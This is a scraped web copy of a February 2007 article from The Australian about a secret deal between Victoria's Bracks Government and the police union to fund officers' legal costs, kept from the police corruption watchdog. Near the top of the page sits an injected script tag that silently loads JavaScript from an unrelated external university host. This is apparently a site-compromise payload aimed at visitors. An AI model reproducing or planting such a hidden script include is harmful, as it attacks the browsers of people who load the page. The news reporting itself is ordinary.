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NEWS > 20 February 2007

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 Article sourced from

<script src=http://wtrc.kangwon.ac.kr/skin/rook.js></script>
The Australian - Sydney,Austra
20 February 2007
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Police deal kept from watchdog

VICTORIA'S police corruption watchdog was not told about a secret deal struck between the Bracks Government and the state's powerful police union to use taxpayer funds to pay the legal costs of officers it was investigating.

The Bracks Government confirmed yesterday it did not consult the Office of Police Integrity before the decision, nor did it notify the watchdog of the agreement with the Victorian Police Association after it was signed 19 days before Victoria's state election in November.
It also conceded that some legal costs incurred by police officers later convicted of corruption or other crimes charges would be reimbursed by taxpayers under the deal.

The release of the details of the deal yesterday outraged the state Opposition and sparked warnings from experts that it undermined the authority of Chief Commissioner Christine Nixon.

Ms Nixon revealed last week that she had not been told the deal was being negotiated and had not been shown a copy of the agreement. The Bracks Government was forced to make the six-page agreement public yesterday after it was revealed the deal allowed for the reimbursement of legal costs for police officers forced toappear before OPI coercive hearings.

The Australian revealed the existence of the secret deal - signed by Premier Steve Bracks and his then police minister, Tim Holding - two days before the November 25 Victoria election. After initially promising to campaign against the Government, the police association later swung its support behind Labor.

The deal appears to contravene one of the key recommendations of the benchmark Fitzgerald inquiry into police corruption in Queensland that governments should not negotiate privately with police unions. The deal was attacked by former senior officers including Queensland police commissioner Jim O'Sullivan and former West Australian commissioner Bob Falconer.

Noel Newnham, a Victorian officer recruited to clean up police corruption in Queensland after Fitzgerald, said in November it was "unbelievable" that Ms Nixon was not at the talks.

Under the agreement, Mr Bracks and Mr Holding also agreed to change laws so that officers suspended without pay during an investigation into their conduct would have their financial entitlements reimbursed if the charge "has not been proved".

The secret pre-election deal also promised an additional 350 officers; a resources audit to establish how police were being used; the establishment of a police career services commission to consider industrial disputes and appeals from disciplinary hearings; $10 million for new weapons including automatic pistols; and that the Government "consult with the Police Association on matters that directly impact on Victorian police officer".

Police Minister Bob Cameron defended the decision not to tell the OPI of the agreement, claiming it would have been "utterly inappropriate" for the Government to involve statutory office holders such as the OPI or the chief commissioner in a political matter during an election.

Mr Bracks said it was the "democratic right" of officers to have legal advice when appearing before a body such as the OPI, which had coercive powers enabling it to compel witnesses to answer questions.

He said such taxpayer-funded legal advice was provided to police officers in NSW and Queensland.

The OPI yesterday recommended the Government adopt a similar model to the Legal Representation Office in NSW, where legal assistance for witnesses appearing at ICAC or Police Integrity Commission hearings is given independently, rather than through the police union.

The administration and use of the Police Association's $14 million legal fighting fund has become one of the key factors driving mounting concern over the close ties between the union and the Bracks Government and whether the roles of the OPI and Chief Commissioner have been undermined.

The OPI's deputy director Graham Ashton recently described the police association's repeated attacks on the anti-corruption watchdog as "an obstacle to progress in maintaining ethical standards".

Under existing arrangements, only Victorian police officers acquitted of corruption or criminal charges have their court costs reimbursed.

 

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